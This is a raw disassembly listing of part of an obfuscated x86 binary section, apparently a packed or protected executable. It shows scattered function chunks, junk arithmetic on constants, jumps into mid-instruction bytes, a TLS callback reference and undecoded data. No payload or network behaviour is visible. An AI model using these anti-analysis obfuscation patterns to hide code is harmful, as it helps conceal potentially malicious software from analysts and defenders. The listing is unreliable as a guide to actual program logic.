		add	ecx, 0B93294F0h
		rol	ecx, 19h
		add	ecx, 0E8F59C14h
		add	ecx, ebp
		jmp	loc_473773
; END OF FUNCTION CHUNK	FOR sub_47371D
; ---------------------------------------------------------------------------
		align 4
		dd 3E93058Dh, 56E80047h, 5, 0D8EAD381h,	0C7C1BABFh
		db 18h
; ---------------------------------------------------------------------------

loc_474DC9:				; CODE XREF: isk1wxzg:loc_474DDEj
		call	sub_475CB7

loc_474DCE:				; DATA XREF: isk1wxzg:0047402Co
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		call	sub_4738E9
; START	OF FUNCTION CHUNK FOR sub_47420E

loc_474DD9:				; CODE XREF: sub_47420E+Aj
		jmp	loc_473BD1
; END OF FUNCTION CHUNK	FOR sub_47420E
; ---------------------------------------------------------------------------

loc_474DDE:				; CODE XREF: isk1wxzg:loc_474045j
		jz	loc_474DC9
		add	[edi], cl
		test	al, bh
		clc
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0E9h
		dd 0FFFFFFD0h, 0EDC0880Fh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_474DF6	proc near		; CODE XREF: isk1wxzg:0047505Ep

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00473598 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00474B2D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00474E95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004752F0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00475629 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047600C SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp+0]
		push	edi
		pushf
		jmp	loc_4752F0
sub_474DF6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	6856F3D9h
		xchg	edx, [esp]
		mov	esi, edx
		pop	edx
		add	esi, 0BF121C8Fh
		rol	esi, 19h
		and	esi, 0ADA2474Dh
		js	loc_4754AE
; START	OF FUNCTION CHUNK FOR sub_4749EA

loc_474E24:				; CODE XREF: sub_4749EA+11A7j
		jmp	loc_475D8F
; END OF FUNCTION CHUNK	FOR sub_4749EA
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0DAh
		dd 0FD77314h, 3A588h, 0ED4AE900h, 487FFFFh, 0C015FF24h
		dd 510044F0h, 0F7618B68h, 0E9815922h, 64C33EC5h, 0DD39C181h
		dd 0CF541CBh, 96EE924h,	68000000h, 0A993019Ah, 0C9C7815Fh
		dd 81F41AAFh, 5951F6CFh, 0F7816Eh, 32405DFh, 96FE8FDh
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4755D4

loc_474E80:				; CODE XREF: sub_4755D4+2C1j
		jmp	near ptr dword_474940+1
; END OF FUNCTION CHUNK	FOR sub_4755D4
; ---------------------------------------------------------------------------

locret_474E85:				; CODE XREF: isk1wxzg:004752AEj
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_476068

loc_474E87:				; CODE XREF: sub_476068:loc_47606Fj
		jmp	loc_475172
; END OF FUNCTION CHUNK	FOR sub_476068
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4752B4

loc_474E8E:				; CODE XREF: sub_4752B4+DAEj
		jmp	nullsub_397
; END OF FUNCTION CHUNK	FOR sub_4752B4
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474DF6

loc_474E95:				; CODE XREF: sub_474DF6+518j
		jmp	loc_473598
; END OF FUNCTION CHUNK	FOR sub_474DF6
; ---------------------------------------------------------------------------
		align 4
		push	edi
		jmp	sub_475633
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_474EA3:				; CODE XREF: isk1wxzg:004734F0j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4749D8

loc_474EA5:				; CODE XREF: sub_4749D8+Cj
		jmp	loc_4755A3
; END OF FUNCTION CHUNK	FOR sub_4749D8
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4738E9

loc_474EAB:				; CODE XREF: sub_4738E9+6E3j
		mov	byte ptr [esi],	3
		pop	esi
		push	0CC01A1E7h
		pop	ecx
		and	ecx, 4BA42D53h
		jmp	near ptr loc_475D76+1
; END OF FUNCTION CHUNK	FOR sub_4738E9
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_474EC1	proc near		; CODE XREF: sub_4734B6+2A71p

; FUNCTION CHUNK AT 00473AEE SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, 5D80836h
		push	offset byte_4737A5
		jmp	loc_473AEE
sub_474EC1	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_474ED7:				; DATA XREF: isk1wxzg:loc_4750BAo
		push	eax
		mov	eax, offset loc_475CC2
		jmp	loc_4750D6
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_473D4D

loc_474EE4:				; CODE XREF: sub_473D4D+Aj
		mov	byte ptr [eax],	9Ch
		pop	eax
		xor	eax, 61EEEAC5h
		add	eax, ebp
		push	offset byte_4754E7
		jmp	nullsub_379
; END OF FUNCTION CHUNK	FOR sub_473D4D
; ---------------------------------------------------------------------------
		dw 8768h
		dd 0E900473Fh, 0FFFFEEB0h, 8C0F0000h, 0FFFFEA39h, 5A241487h
		dd 5F6FB951h, 8FE90047h, 0C6FFFFF6h, 815B8703h,	193534E3h
		dd 50316872h, 0C1E90047h, 0FFFFE5h, 0E9178900h,	279h, 0E9C30000h
		dd 0FFFFFEFAh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474419

loc_474F41:				; CODE XREF: sub_474419:loc_474106j
		mov	byte ptr [esi],	8Ah
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, esp
		push	eax
		jmp	loc_474F6C
; END OF FUNCTION CHUNK	FOR sub_474419
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_395. PRESS KEYPAD	"+" TO EXPAND]
		align 4

loc_474F54:				; DATA XREF: sub_473C4E+1FAo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473E7B

loc_474F56:				; CODE XREF: sub_473E7B+C09j
		jmp	nullsub_378
; END OF FUNCTION CHUNK	FOR sub_473E7B
; ---------------------------------------------------------------------------
		align 4
		dd offset sub_47627E
		dd 6CE90000h, 0FFFFF1h
dword_474F68	dd 116h			; DATA XREF: isk1wxzg:loc_473F5Br
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474419

loc_474F6C:				; CODE XREF: sub_474419+B32j
		jmp	near ptr byte_4735B9+2
; END OF FUNCTION CHUNK	FOR sub_474419
; ---------------------------------------------------------------------------
		db 0E9h, 2Dh, 0F0h
		dd 0FFFFh, 3B382DE6h, 12C7C100h, 0C4EDE781h, 0CF815510h
		dd 71F05B47h, 7DEEC781h, 61E98A56h, 0FFFFF4h, 5A241487h
		dd 8B243C87h, 49685FF7h, 87EA06ADh, 0C38B241Ch,	4DBE9h
		dd 0E9D81300h, 0FFFFF304h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_474FBA:				; CODE XREF: isk1wxzg:loc_475777j
		add	ecx, 9B533EF3h
		xor	ecx, 0A22D057Fh
		add	ecx, ebp
		push	esi
		jmp	loc_475A2A
; ---------------------------------------------------------------------------
		jl	loc_475B3D

; =============== S U B	R O U T	I N E =======================================



sub_474FD4	proc near		; CODE XREF: sub_474419-8C6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0047403A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004749BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047513E SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		jmp	loc_4749BE
sub_474FD4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 9Ch
; ---------------------------------------------------------------------------
		xchg	edx, [esp]
		pop	edx
		push	ebx
		push	215147C0h
		jmp	loc_475578
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_474FF5:				; CODE XREF: isk1wxzg:loc_4743A9j
		mov	byte ptr [edi],	87h
		pop	edi
		add	eax, 0F97DE94Dh
		add	dword ptr [esp], 0FFFAE5E9h ; CODE XREF: isk1wxzg:0047500Aj
		inc	dword ptr [eax]
		add	al, ch
		jb	short near ptr loc_474FFF+6
; ---------------------------------------------------------------------------
		dd 0FFFFh, 64E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474957

loc_475015:				; CODE XREF: sub_474957:loc_474966j
		mov	ecx, edi
		pop	edi
		push	edx
		call	sub_474419
; END OF FUNCTION CHUNK	FOR sub_474957
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		jno	loc_4758AE

; =============== S U B	R O U T	I N E =======================================



sub_475026	proc near		; CODE XREF: isk1wxzg:0047415Ep

; FUNCTION CHUNK AT 00473E8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00473EAA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004752C8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00475D71 SIZE 0000001B BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		jmp	loc_473EAA
sub_475026	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_475030:				; CODE XREF: isk1wxzg:loc_4759ABj
		retn
; ---------------------------------------------------------------------------
		add	ebx, 9FF6FBFFh
		jge	short loc_475055
		and	al, 0FFh
		adc	eax, offset dword_44F0C0

loc_475040:				; CODE XREF: isk1wxzg:loc_473EDFj
		push	eax
		push	offset byte_475D17
		jmp	locret_475D09
; ---------------------------------------------------------------------------
		align 4
		popf
		jmp	sub_473D98
; ---------------------------------------------------------------------------
		rol	edx, 12h

loc_475055:				; CODE XREF: isk1wxzg:00475037j
		jmp	loc_475E2C
; ---------------------------------------------------------------------------
		align 4

loc_47505C:				; CODE XREF: isk1wxzg:004756BEj
		mov	ecx, [ecx]
		call	sub_474DF6
; ---------------------------------------------------------------------------
		db 0
		dd 0E9188B00h, 0FFFFEC83h, 0CF810000h, 55F29109h, 0FFE9CEE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		push	ebx
		mov	ebx, edx
		jmp	loc_474B8C
; ---------------------------------------------------------------------------
word_47508A	dw 0E800h		; CODE XREF: isk1wxzg:00473BBDj
		dd 0B60h, 19680000h, 0E9DE2E28h, 0FFFFED27h, 85C30000h
		dd 0F5D0E9C2h, 487FFFFh, 0E89D5824h, 0FFFFE5C1h, 0E9007587h
		dd 0FFFFFBB9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4750BA:				; CODE XREF: isk1wxzg:loc_473981j
		push	offset loc_474ED7
		jmp	loc_475A86
; ---------------------------------------------------------------------------
		dd 9B820F00h, 8D000006h, 473E9305h, 74DE800h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4750D6:				; CODE XREF: isk1wxzg:00474EDDj
		push	offset byte_47527F
		jmp	locret_47421D
; ---------------------------------------------------------------------------
		push	473F46h
		jmp	loc_473850
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4750EB:				; DATA XREF: isk1wxzg:00473E34o
		push	4746C7h
		jmp	loc_474568
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474997

loc_4750F7:				; CODE XREF: sub_474997:loc_474288j
		and	ecx, 0A6E96226h
		xor	ecx, 768FE050h
		call	near ptr dword_473504+4Fh
; END OF FUNCTION CHUNK	FOR sub_474997
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_386. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_47510A:				; CODE XREF: isk1wxzg:00475A3Cj
		jz	loc_4756A9
		jmp	near ptr dword_473BF8+13h
; ---------------------------------------------------------------------------
		jmp	loc_474163
; ---------------------------------------------------------------------------
		dw 8B00h
; ---------------------------------------------------------------------------
		jnz	short $+2
		or	esi, edi
		add	edx, ebx
		jmp	loc_475704
; ---------------------------------------------------------------------------
		align 4

loc_475128:				; CODE XREF: isk1wxzg:004743B1j
		xchg	ecx, [esp]
		pop	ecx
		add	edx, 2C3C85F8h
		mov	edx, [edx]
		push	4737E5h
		jmp	locret_4753AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474FD4

loc_47513E:				; CODE XREF: sub_474FD4:loc_4749BEj
		pop	ebp
		add	edx, 46B1E74Ah
		xchg	edx, [esp-4+arg_0]
		jmp	loc_47403A
; END OF FUNCTION CHUNK	FOR sub_474FD4
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 61182h, 0FC5AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_47515A:				; CODE XREF: isk1wxzg:004745BAj
		xchg	edx, [esp]
		pop	edx
		jmp	loc_474646
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 0F39DE900h, 0FFFFh, 7CCE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_476068

loc_475172:				; CODE XREF: sub_476068:loc_474E87j
		push	offset sub_473CB1
		jmp	nullsub_291
; END OF FUNCTION CHUNK	FOR sub_476068
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_47517E:				; CODE XREF: isk1wxzg:004734EAj
		retn
; ---------------------------------------------------------------------------
		align 10h
		jmp	loc_4751F7
; ---------------------------------------------------------------------------
		db 0Fh,	8Dh, 0D5h
		dd 8BFFFFE7h, 0D6D8811Eh, 0E9859DA9h, 58Eh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_475199	proc near		; CODE XREF: isk1wxzg:loc_4742D5p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00474722 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 0E08F6149h
		popf
		xchg	ebx, [esp-8+arg_4]
		push	offset loc_4748F0
		jmp	loc_474722
sub_475199	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4751B1	proc near		; CODE XREF: isk1wxzg:00474D11p

; FUNCTION CHUNK AT 004745A3 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	edx, 0AC1CC4E3h
		push	offset byte_473CCD
		jmp	loc_4745A3
sub_4751B1	endp

; ---------------------------------------------------------------------------
		align 2
		adc	ebp, 53547521h
		jmp	sub_4738E9
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_4751D3:				; CODE XREF: sub_474BAE:loc_473C48j
		jnz	loc_47383D
		add	[ecx+55986C8h],	al
		mov	word ptr [edi-19A91609h], es
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_4751E8:				; CODE XREF: isk1wxzg:00474435j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_4751EB	db 53h			; DATA XREF: isk1wxzg:00474430o
		dd 473829BBh, 0FE13E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_4751F7:				; CODE XREF: isk1wxzg:00475180j
		jnb	loc_47596D
		add	[edi], cl
		mov	word ptr [ecx+0Bh], ss
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		cmp	esi, 0E5647611h
		jmp	loc_47595D
; ---------------------------------------------------------------------------
		adc	esi, 7C432348h
		mov	edi, [ecx]
		jmp	loc_473BA8
; ---------------------------------------------------------------------------
		dd 0D0870000h, 0A43E9h,	68000000h, 475FE4h, 2A8E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475CB7

loc_475232:				; CODE XREF: sub_475CB7:loc_4748DBj
		call	sub_47420E
		jmp	nullsub_382
; END OF FUNCTION CHUNK	FOR sub_475CB7
; ---------------------------------------------------------------------------
		scasb
		adc	eax, offset dword_44F0C0
		push	edx
		mov	edx, ebx
		xchg	edx, [esp]
		push	offset byte_475C55
		jmp	locret_475C4B
; ---------------------------------------------------------------------------
		align 4
		cmp	edx, 34C74319h
		jmp	loc_47549A
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_475260:				; CODE XREF: sub_47580E:loc_475FC1j
		mov	byte ptr [ecx],	3

loc_475263:				; CODE XREF: isk1wxzg:loc_474991j
		pop	ecx
		push	offset byte_474ACF
		jmp	loc_475937
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------
		align 10h

loc_475270:				; CODE XREF: isk1wxzg:00475E7Aj
		add	eax, ebp
		push	edi
		push	5F35B3B8h
		pop	edi
		jmp	loc_4755B1
; ---------------------------------------------------------------------------
		db 0
byte_47527F	db 0C6h			; DATA XREF: isk1wxzg:loc_4750D6o
		dd 8B588700h, 5D7E68C2h, 0B4E90047h, 0FFFFEDh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473D98

loc_475291:				; CODE XREF: sub_473D98+7j
					; isk1wxzg:004753EDj
		mov	eax, offset TlsCallbacks_ptr
		push	offset dword_475EBC
		jmp	nullsub_394
; END OF FUNCTION CHUNK	FOR sub_473D98
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_399. PRESS KEYPAD	"+" TO EXPAND]
		db 0E9h
		dd 0FFFFF006h
		db 0
; ---------------------------------------------------------------------------

loc_4752A9:				; CODE XREF: isk1wxzg:loc_4738A4j
		push	offset byte_4741F9
		jmp	locret_474E85
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4752B4	proc near		; CODE XREF: isk1wxzg:0047457Cp
					; isk1wxzg:004747D3j

; FUNCTION CHUNK AT 00474E8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475BDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047605D SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	esi
		mov	esi, edi
		xchg	esi, [esp+0]
		mov	edi, offset nullsub_396
		jmp	loc_475BDA
sub_4752B4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475026

loc_4752C8:				; CODE XREF: sub_475026-116Aj
		or	eax, 1110262Bh
		xor	eax, 0B07721Eh
		add	ecx, eax
		pop	eax
		jmp	loc_473E8C
; END OF FUNCTION CHUNK	FOR sub_475026
; ---------------------------------------------------------------------------
		dd 1C850F00h, 0FFFFFE2h, 0FFE23D85h, 0F61CE9FFh, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474DF6

loc_4752F0:				; CODE XREF: sub_474DF6+9j
		push	0F3F82901h
		pop	edi
		add	edi, 591ACC80h
		sub	edi, 1723D79Fh
		xor	edi, 65F6542Eh
		add	edi, 1B3E676Dh
		jmp	loc_474E95
; END OF FUNCTION CHUNK	FOR sub_474DF6
; ---------------------------------------------------------------------------
		align 4
		dd 40C26800h, 0AEE90047h, 8100000Ch, 0E6C468C0h, 29008BF7h
		dd 97840FD0h, 53FFFFE7h, 86E8DF8Bh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_475337:				; CODE XREF: isk1wxzg:00473E6Cj
		xchg	ebx, [esp]
		pop	ebx
		xchg	ecx, [esp]
		pop	ecx
		push	ebx
		mov	ebx, offset loc_474C13
		jmp	loc_473F23
; ---------------------------------------------------------------------------
		align 4
		jnp	loc_473C2C
		jmp	loc_475D4F
; ---------------------------------------------------------------------------
		cld
; START	OF FUNCTION CHUNK FOR sub_475C68

loc_475358:				; CODE XREF: sub_475C68:loc_475CE5j
		jno	near ptr dword_4744C0+10h
		call	sub_4757B6
		add	bl, al
; END OF FUNCTION CHUNK	FOR sub_475C68
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFE6FEh
; ---------------------------------------------------------------------------

loc_47536C:				; CODE XREF: isk1wxzg:0047429Ej
		call	sub_473D98
		jmp	loc_475B23
; ---------------------------------------------------------------------------
		align 4
		sub	edi, 68F18CFFh

; =============== S U B	R O U T	I N E =======================================



sub_47537E	proc near		; CODE XREF: sub_475CEC:loc_474776p

; FUNCTION CHUNK AT 004755F0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004758ED SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pushf
		push	0E8179DFEh
		jmp	loc_4758ED
sub_47537E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_47538D	proc near		; CODE XREF: isk1wxzg:00474BDFp

; FUNCTION CHUNK AT 00474CAE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00475D0C SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	ecx, 9DC5150Bh
		push	edx
		mov	edx, offset loc_4758BB
		jmp	loc_475D0C
sub_47538D	endp

; ---------------------------------------------------------------------------
		align 4

locret_4753A4:				; CODE XREF: isk1wxzg:00473AF3j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4753A7:				; CODE XREF: isk1wxzg:004746EEj
		jmp	near ptr word_474346+1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_4753AD:				; CODE XREF: isk1wxzg:00475139j
		retn
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_397. PRESS KEYPAD	"+" TO EXPAND]
		dd 54840F00h, 99FFFFE7h, 842E9h, 0F000000h, 0FFFAF08Eh
		dd 0E9D00BFFh, 0B20h, 1CD58155h, 0E9B67A9Dh, 6DEh
; ---------------------------------------------------------------------------

loc_4753D8:				; CODE XREF: isk1wxzg:0047488Bj
		push	47479Fh
		jmp	near ptr dword_4741FC+3
; ---------------------------------------------------------------------------
		align 4

loc_4753E4:				; CODE XREF: isk1wxzg:004746D1j
		add	edi, 74764DAFh
		xchg	edi, [esp]
		jmp	loc_475291
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, 47387Ah
		jmp	loc_475D40
; ---------------------------------------------------------------------------
		align 2
		dw 1487h
		dd 357FB924h, 98E90047h, 0FFFFFEh, 24348700h, 351C685Eh
		dd 0CCE90047h
		db 0F6h, 2 dup(0FFh)
byte_47541B	db 81h			; DATA XREF: sub_4734CE:loc_47417Do
		dd 0CC500BC1h, 9929D86h, 75A5689Ch, 815A7007h, 0F23549CAh
		dd 0B6E281DBh, 0E9BA36E1h, 0FFFFF6FDh, 0F0F5E800h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_475443:				; CODE XREF: sub_47580E:loc_474254j
		pop	ebx
		or	ebx, 0E2FE440Dh
		sub	ebx, 0E5A06F14h
		xor	ebx, 8E9CBF12h
		jmp	loc_473976
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	locret_4741DA
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_384. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ecx
		dec	eax
		inc	edi
		add	cl, ch
		retf	0FFFAh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0D88B0000h, 0B8241C87h, 475C36h, 0FFF444E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

locret_475483:				; CODE XREF: isk1wxzg:loc_474282j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47401B

loc_475486:				; CODE XREF: sub_47401B:loc_475A9Ej
					; sub_475DC9+Aj
		call	near ptr dword_4735E4+11h
		add	cl, ch
		retn	0FFF8h
; END OF FUNCTION CHUNK	FOR sub_47401B
; ---------------------------------------------------------------------------
		dd 0E90000FFh, 0FFFFE3B6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47549A:				; CODE XREF: isk1wxzg:0047525Aj
		jb	loc_47611C
		and	eax, edx
		adc	ecx, 0AA190302h
		jp	loc_474A53

loc_4754AE:				; CODE XREF: isk1wxzg:00474E1Ej
		or	esi, 0AFD1E49Fh
		call	near ptr byte_47428D+2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_4754BA:				; CODE XREF: sub_4744DB+1684j
		jmp	loc_474A1A
; ---------------------------------------------------------------------------

loc_4754BF:				; CODE XREF: sub_4744DB+Cj
		jmp	loc_475B59
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474419

loc_4754C5:				; CODE XREF: sub_474419+Fj
		jmp	loc_473B4D
; END OF FUNCTION CHUNK	FOR sub_474419
; ---------------------------------------------------------------------------
		dw 8B0Fh
		dd 0C00h, 6AE9D88Bh, 0FFFFF7h
		db 0, 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_4754DA:				; CODE XREF: sub_4744DB+19DBj
		jmp	loc_473A8C
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_4754E0:				; CODE XREF: sub_473CB1+503j
		jmp	loc_473A2C
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_4754E7	db 81h			; DATA XREF: sub_473D4D+11A3o
; ---------------------------------------------------------------------------
		shl	byte ptr [esi+3Eh], 0D3h

loc_4754EC:				; DATA XREF: sub_473D4D+5o
		xchg	cl, [ebx+73519D00h]
		push	8C305C7Fh
		xchg	ebp, [esp]
		jmp	loc_474A9C
; ---------------------------------------------------------------------------
		align 10h
		dd 0BB1ABB00h, 0AAE94BE4h, 3B000007h, 0FFB8E9D7h, 0FFFFh
		dd 915E8h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_47551B:				; CODE XREF: isk1wxzg:00475F72j
		jmp	near ptr dword_473504+32h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_475520:				; CODE XREF: sub_473CB1+1BC0j
		jmp	loc_474B4C
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		db 0Bh,	0DDh, 0F7h
		dd 0ED61E9D1h, 0B00FFFFh, 0F98BE9D5h
		db 2 dup(0FFh),	0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_389. PRESS KEYPAD	"+" TO EXPAND]
		dd 36E90000h, 0FFFFEDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_475540:				; CODE XREF: sub_473CB1-26Fj
		jmp	loc_475866
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		push	edi
		jmp	sub_4749D8
; ---------------------------------------------------------------------------
		db 87h
		dd 0B1E8243Ch, 0FFFFEAh, 0FFE206E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

locret_47555B:				; CODE XREF: isk1wxzg:00474C26j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_47555D:				; CODE XREF: isk1wxzg:00474016j
		jmp	locret_474206
; ---------------------------------------------------------------------------
		db 0
byte_475563	db 68h			; DATA XREF: isk1wxzg:00474C21o
		dd 1996C891h, 9DF08158h, 0F0E3967h, 0FFE87689h,	0C30000FFh
; ---------------------------------------------------------------------------

loc_475578:				; CODE XREF: isk1wxzg:00474FEEj
		jmp	loc_47369C
; ---------------------------------------------------------------------------
		align 2
		dw 0F181h
		dd 52C780E0h, 800C1F7h,	21E90000h, 81FFFFE3h, 20D76BE5h
		dd 243C87C7h, 0C303C65Fh, 0FFDF8FE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4749D8

loc_4755A3:				; CODE XREF: sub_4749D8:loc_474EA5j
		popf

loc_4755A4:				; DATA XREF: sub_4734B6+1o
		mov	al, [eax]
		push	474304h
		jmp	near ptr dword_474188+4
; END OF FUNCTION CHUNK	FOR sub_4749D8
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4755B1:				; CODE XREF: isk1wxzg:00475279j
		and	edi, 2FF36C2Fh
		xor	edi, 0E7D6A0FAh
		rol	edi, 10h
		xor	edi, 6AD41DA1h
		jmp	near ptr dword_474D34+11h
; ---------------------------------------------------------------------------
		align 4

locret_4755CC:				; CODE XREF: isk1wxzg:loc_474D24j
		retn
